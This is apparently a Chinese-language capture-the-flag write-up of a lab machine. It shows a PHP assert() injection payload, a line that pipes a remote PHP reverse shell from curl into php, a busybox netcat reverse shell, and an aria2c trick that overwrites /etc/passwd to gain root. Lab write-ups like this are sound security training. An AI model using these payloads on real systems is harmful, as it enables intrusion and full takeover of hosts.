先來看看這臺機器上面有什麼服務!
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.166.94 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.166.94 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.166.94 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.166.94 -type recon;
這台靶機看起來非常有單純,只有 Port 22 跟 80
那因為我們沒有什麼 username 或 password 可以去試,所以就先不碰 SSH
所以我們就先從 Web 開始吧
在我們瀏覽這個 web 網頁的時候,我們會看到一個很像可以做 LFI 注入的地方
這邊我們就先用 /etc/passwd 試看看,如果可以成功列出內容就表示LFI的注入有機會成功
http://assertion/index.php?page=../../../../etc/passwd
看來沒有那麼容易 XDD
那只能先找找看其它的方式。
不過在繞了 一圈,試了路徑爆破跟各種注入以後,最後還是回到了這個看起來很像有提示的地方…
雖然我跟 PHP 不算熟,但是 assert 是我們寫判斷式的時候會用到的一種方法 (靶機名給的提示)
在沒招的狀況下,只能先看 assert 有沒有什麼弱點可以挖掘
然後很幸運地挖到了這篇文章 https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6
在"3: Remote Code Execution" 中找到 "Bypass LFI checks and strpos() check"
感覺這個 payload 可以試看看
輸入 ' and die(system(id))or ' 給 page,然後我們就看到神奇的事情發生 XD
竟然拿到 id 了,代表這個指令會被執行,那我們就要來上傳一個 reverse shell 了
' and die(system(id))or '
先用 msfvenom 產生 PHP 的 reverse shell
msfvenom -p php/reverse_php LHOST=192.168.45.192 LPORT=80 -f raw -o rShell.php
這邊比較尷尬的是,上傳一直不成功
有可能我們沒有辦法直接新增一個檔案到靶機
這題我有學到一個小訣竅,是我只要過水這個靶機就好,不要讓他直接產生一個檔案
意思就是我可以使用 pipe (l) 這個指令,然後一旦 reverse shell 有經過這臺靶機,我就讓他直接使用PHP執行 (記得先設定監聽)
' and die(system("curl http://192.168.45.192:443/rShell.php|php")) or '
鏘鏘! Reverse shell 順利彈回,不過它不是很穩定
所以我們又在弄了另外一個 shell 出來
busybox nc 192.168.45.192 8081 -e /bin/bash
得到第一個 flag!
上傳 Linpeas 以後,我們來分析這個結果發現 aria2c 這個不知道什麼做什麼用的 binary code
這時我們上 GTFObins 去找 (http://gtfobins.github.io/gtfobins/aria2c/#file-download )
發現 aria2c 可以讓我們用 root 的身份去覆寫一個檔案
概念是這樣:我們可以先把 /etc/passwd 裡面的內容複製出來,然後再新增我們自己的 username & password 進去,然後再上傳到這臺靶機
這邊我們用 MD5 去 hash 我們的密碼,然後把他加入到我們剛剛的 /etc/passwd 裡面
然後我們就可以利用 root 的權限去覆寫原本的/etc/passwd
openssl passwd -1 irispassword
# On Kali
python3 -m http.server 443
# On target machine
cd /
URL=http://192.168.45.192:443/passwd
LFILE=/etc/passwd
/usr/bin/aria2c --allow-overwrite -o "$LFILE" "$URL"
因為新增的使用者已經被順利成功加到了這臺靶機
而且是可以直接拿到 root 的身份的,所以一旦轉換身份後我們就是 root
終於拿到了第二跟flag!
這臺靶機真是教會了我不少事(淚)~